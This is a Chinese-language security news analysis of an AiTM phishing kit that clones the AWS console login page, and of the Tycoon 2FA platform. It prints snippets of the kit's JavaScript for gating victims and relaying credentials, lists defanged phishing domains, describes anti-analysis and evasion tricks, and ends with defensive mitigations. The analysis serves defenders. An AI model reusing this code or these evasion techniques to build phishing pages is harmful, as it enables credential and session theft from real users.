資訊安全新聞

別再以為 MFA 能保護你的 AWS 帳號！
釣魚結合 AiTM 正在大規模發動認證竊取攻擊！

1. 簡介

網路威脅的樣貌持續演進，攻擊者運用日益精巧的手法竊取認證(Credential)並繞過安全措施。這份報告針對 Datadog Security Labs ^[1] 所揭露，一種專門用於竊取 AWS 主控台認證的普遍 AiTM 釣魚套件，提供技術分析。此外，報告也整合了關於 Tycoon 2FA 釣魚平台的相關研究見解，該平台展示了針對 Microsoft 365 與 Gmail 帳戶的先進規避技術 ^[2] 。目標在於剖析這些 AiTM 套件的技術運作機制，理解其操作流程，並針對此類進階威脅概述有效的緩解策略。

別再以為 MFA 能保護你的 AWS 帳號！釣魚結合 AiTM 正在大規模發動認證竊取攻擊！ | 資訊安全新聞

2. 拆解 AWS AiTM 釣魚活動

在 2026 年 6 月 16 日至 19 日期間，觀察到一波顯著的 AWS 主控台釣魚網站，試圖竊取受害者的認證。這些活動使用了三個在 48 小時內註冊的網域，皆託管於 Cloudflare 並偽裝成 AWS 登入頁面。這類攻擊的關鍵特徵是運用 AiTM 技術即時擷取 MFA 驗證碼 ^[1] 。

2.1. 釣魚基礎架構

釣魚網域透過 NICENIC INTERNATIONAL GROUP CO., LIMITED 註冊，並託管於 Cloudflare，顯示背後可能是協同進行的行動。範例包括 us-west-login[.]com 、 us-east-prod[.]com 與 loginportal-aws[.]com 。每個網域都提供近乎相同的合法 AWS 主控台登入頁面複製品，設計用來欺騙受害者，使其誤以為正在向官方服務進行身分驗證 ^[1] 。

2.2. 認證竊取機制

此 AWS AiTM 套件竊取認證的核心邏輯位於單一 JavaScript 檔案中。該套件具備 AiTM 能力，能擷取透過電子郵件、簡訊或 TOTP 發送的雙因子驗證。在呈現釣魚頁面之前，會先進行關鍵的驗證步驟：

頁面載入時，套件會從 URL 參數 input_24 中提取加密的 Base64 編碼資料來識別訪客。此資料隨後透過 POST Request 送至 /api/check 。伺服器端很可能會解密該資料以取得目標電子郵件地址，接著將其儲存為 cookie。後續呼叫 /api/me 會讀取此 cookie 並回傳包含受害者電子郵件地址的 JSON 物件。接著會根據電子郵件的有效性與載入狀態進行條件檢查，決定是否呈現 AWS 釣魚頁面或空白頁面。此機制能有效防止沙箱與安全研究人員在沒有有效受害者電子郵件的情況下分析頁面 ^[1] 。

下方的 JavaScript 程式碼片段說明了初始驗證流程：

function Hi(){
  // Declare two React state variables:
  // e: stores the user's email (initially null)
  // t: setter function to update e
  // n: loading flag (initially true)
  // r: setter function to update n
  let [e,t]=(0,_.useState)(null),
      [n,r]=(0,_.useState)(!0);
  // useEffect runs once when the component mounts
  return (0,_.useEffect)(()=>{
    // Get the current page origin (not actually used here)
    window.location.origin;
    // Extract the query parameter "input_24" from the URL
    let e=new URLSearchParams(window.location.search).get(`input_24`);
    // If input_24 exists, send POST request to /api/check
    // with { encrypted: e } in the body, including cookies
    // Otherwise, return a failed Promise
    (e
      ? fetch(`/api/check`,{
          method:`POST`,
          headers:{"Content-Type":`application/json`},
          body:JSON.stringify({encrypted:e}),
          credentials:`include`
        })
      : Promise.resolve({ok:!1}))
      // If response is ok, parse JSON, otherwise return null
      .then(e=>e.ok?e.json():null)
      // Regardless of result, call /api/me to fetch user info
      .then(()=>fetch(`/api/me`,{credentials:`include`}))
      // Parse the /api/me response as JSON
      .then(e=>e.json())
      // Extract email from response and update state e
      .then(e=>t(e.email||null))
      // Finally, set loading flag n to false
      .finally(()=>r(!1))
  },[]),
  // Render logic:
  // If still loading (n==true) or email is missing, render nothing
  // Otherwise, show a fake AWS Sign-In page
  n||!e ? null : (0,x.jsxs)(x.Fragment,{children:[
    // Display page title "Amazon Web Services Sign-In"
    (0,x.jsx)(Vi,{children:(0,x.jsx)(`title`,{children:`Amazon Web Services Sign-In`})}),
    // Render login form component Jr
    (0,x.jsx)(Jr,{})
  ]})
}

程式碼分析： 這個 React 函式元件，可能命名為 Hi ，管理電子郵件 ( e ) 和載入狀態 ( n ) 的 state。它使用 useEffect 在元件掛載時執行非同步操作。它從 URL 中取得 input_24 參數。如果 input_24 存在，則會將加密值透過 POST Request 發送到 /api/check 。接著會發送 GET Request 到 /api/me 以取得電子郵件。元件隨後根據載入狀態以及是否找到有效電子郵件，有條件地呈現 AWS 登入頁面或 null 。這確保了釣魚頁面只會為預先驗證過的目標完整呈現。

2.3. 即時 MFA 轉發

在受害者將初始認證傳送(Credential Submission)至 /api/login 後，釣魚套件伺服器驅動的流程會透過與合法 AWS 主控台登入頁面互動，來決定適當的 MFA 挑戰類型（電子郵件、簡訊或 Authenticator 應用程式）。來自 /api/login 的回應包含一個 type 欄位，決定轉址(Navigation)到對應的 URL 路徑（例如 /email 、 /sms 或 /gauth ）。這些路徑各自呈現一個模仿真實 AWS 介面的客製化 MFA 登入頁面(Challenge page) ^[1] 。

以下程式碼片段示範了認證傳送與 MFA 類型判定：

//Root user credential submission
let t = await fetch(`/api/login`, {
    method: `POST`,
    headers: {"Content-Type": `application/json`},
    body: JSON.stringify({username:e, password:n, isRootUser:i})
}),
r = await t.json();
if(!t.ok) throw new pr(r.message || `Login failed!`);
f(`/${r.type}`)

程式碼分析： 這段非同步 JavaScript 程式碼負責處理使用者認證的傳送。它將使用者名稱、密碼和 root 使用者狀態透過 POST Request 發送到 /api/login 。在收到成功回應（ t.ok 為 true）時，它會解析 JSON 回應（ r ），然後根據 r.type 將使用者轉址到新的路徑。這個 r.type 值（例如 'email'、'sms' 或 'gauth'）是由釣魚套件後端在與合法 AWS 服務互動後動態提供的，讓套件能向受害者呈現正確的 MFA 要求(Challenge)。

一旦受害者輸入 MFA 驗證碼，它會被轉發到 /api/auth ，套件在此擷取 MFA 驗證碼，並可能將其轉發給合法服務以完成身分驗證程序，並竊取 session cookie ^[1] 。

3. 與其他 AiTM 活動的關聯

此 AWS AiTM 釣魚活動與其他觀察到的釣魚行為在技術特徵上有共通之處。值得注意的是，發現了三個偽裝成 SendGrid 的額外網域，具有相似的註冊模式與託管環境。這些 SendGrid 釣魚套件也使用了 React 單頁應用程式(Single-Page Application ,SPA)以及加密的電子郵件驗證流程（使用 email 參數而非 input_24 ），顯示其背後有共同的底層釣魚套件或框架 ^[1] 。

此外， input_24 參數可作為有用的 fingerprint，將此套件與可追溯至 2025 年 7 月、主要針對加密貨幣錢包和 Salesforce 登入頁面的先前活動連結起來。這表明存在一個持續活動的 threat actor 或集團，不斷調整並將此先進 AiTM 工具包部署於各種目標 ^[1] 。

4. 進階規避技術：Tycoon 2FA 的見解

以 Microsoft 365 和 Gmail 帳戶為目標的 Tycoon 2FA 釣魚套件，展示了進階的規避技術，能補足對 AiTM 攻擊的理解。此平台利用精密的兩階段 payload 傳遞機制來繞過安全掃描器 ^[2] 。

4.1. 透過 Cloudflare Workers 進行兩階段 Payload 傳遞

與傳統將所有惡意程式碼預先託管的釣魚頁面不同，Tycoon 2FA 最初呈現一個看似良善、帶有極少惡意程式碼的登入頁面。關鍵的惡意 JavaScript payload 只有在使用者與此初始頁面互動後（例如傳送電子郵件地址或密碼）才會動態取得並執行。此 payload 託管於 Cloudflare Workers，提供了一個可靠且信譽良好的基礎架構層，難以僅根據 IP 位址或網域進行封鎖 ^[2] 。這種延遲傳遞確保了掃描初始 URL 的靜態分析工具較不易偵測到威脅，因為惡意邏輯是在互動後才載入並於使用者瀏覽器中執行。

4.2. 混淆與反除錯措施

Tycoon 2FA 運用多種技術來阻礙分析：

不可見 Unicode 字元與 Proxy 物件： 該套件使用不可見的 Unicode 字元（Halfwidth Hangul Filler 與 Hangul Filler）在登陸頁面中編碼二進位資料。結合 JavaScript Proxy 物件，使得靜態分析極具挑戰性。真正的惡意 JavaScript 程式碼會在執行期間動態重組並執行，從而規避初步偵測 ^[2] 。
反除錯 Script： 該套件整合了各種反除錯腳本，以阻撓安全研究人員與自動化系統。這些措施包括偵測瀏覽器自動化工具（例如 navigator.webdriver 、PhantomJS、Burp Suite）、封鎖常見的開發者工具快捷鍵（F12、Ctrl+Shift+I、Ctrl+U）、停用右鍵選單，以及使用帶有時間檢查的 debugger 來識別腳本執行是否被暫停 ^[2] 。如果偵測到任何分析嘗試，使用者會立即被重新導向至合法網站，進一步隱藏惡意活動。

5. 釣魚攻擊流程圖

以下序列圖說明了 AiTM 釣魚攻擊的一般流程，整合了 AWS AiTM 套件與 Tycoon 2FA 套件的元素：

sequenceDiagram autonumber actor Victim participant Attacker participant Phishing_Site as Phishing Site (AiTM Proxy) participant Legitimate_Service as Legitimate Service (e.g., AWS, M365) participant Cloudflare_Workers as Cloudflare Workers (Tycoon 2FA) Victim->>Attacker: Receives phishing email with malicious link Victim->>Phishing_Site: Clicks link, navigates to initial phishing page alt Initial Page (Tycoon 2FA) Phishing_Site-->>Victim: Serves minimal, seemingly benign login page Victim->>Phishing_Site: Enters username/email Phishing_Site->>Cloudflare_Workers: Requests malicious JavaScript payload Cloudflare_Workers-->>Phishing_Site: Delivers malicious JavaScript payload Phishing_Site-->>Victim: Executes malicious JavaScript, renders full phishing page else Initial Page (AWS AiTM) Victim->>Phishing_Site: Navigates to phishing page with `input_24` parameter Phishing_Site->>Phishing_Site: Validates `input_24` (decrypts email) Phishing_Site-->>Victim: Renders cloned login page if valid end Victim->>Phishing_Site: Enters credentials (username, password) Phishing_Site->>Legitimate_Service: Relays credentials Legitimate_Service-->>Phishing_Site: Responds with MFA challenge type Phishing_Site-->>Victim: Presents MFA challenge (email, SMS, TOTP) Victim->>Phishing_Site: Enters MFA code Phishing_Site->>Legitimate_Service: Relays MFA code Legitimate_Service-->>Phishing_Site: Responds with successful authentication (session cookie) Phishing_Site->>Attacker: Captures session cookie Phishing_Site-->>Victim: Redirects to legitimate service or another page Victim->>Legitimate_Service: (Unknowingly) uses compromised session

6. 緩解策略

對抗精密的 AiTM 釣魚攻擊需要多層級的防禦策略：

抗釣魚 MFA： 部署 FIDO2/WebAuthn 是最有效的技術控制措施，因為這些身分驗證方法會將認證綁定於合法來源，防止轉發攻擊 ^[2] 。
使用者教育訓練： 持續對使用者進行培訓，使其能識別釣魚嘗試、檢查 URL，並對非預期的登入提示保持警覺，這點至關重要 ^[2] 。
條件式存取原則： 根據位置、裝置合規性或風險等級設定原則，可以封鎖或標記可疑的登入嘗試 ^[2] 。
網路流量分析： 監控對外網路流量，留意是否連線至已知惡意網域或與 AiTM 套件相關的可疑模式，這點至關重要。Egress filtering 可防止 C2 通訊 ^[2] 。
威脅情資： 訂閱最新的威脅情資來源，可提供與 Tycoon 2FA 和 AWS AiTM 套件等 evolving threats 相關的 IoC ^[2] 。
EDR： 進階的 EDR 解決方案能偵測並回應端點上的惡意活動，包括惡意腳本的執行或可疑的瀏覽器行為。

7. 結論

針對 AWS AiTM 釣魚套件與 Tycoon 2FA 平台的分析，突顯了網路攻擊者的手法日益精密。這些套件運用進階技術，例如針對性的受害者驗證、即時 MFA 轉發、透過 Cloudflare Workers 等信譽服務進行兩階段 payload 傳遞，以及強大的反除錯措施，以規避偵測。AiTM 攻擊能夠繞過傳統 MFA，這點強調了組織需要採用抗釣魚的 MFA 解決方案，並實施全面、多層級的安全策略。持續的使用者教育，結合先進的威脅情資與強健的技術控制，對於防禦這些不斷演變的威脅至關重要。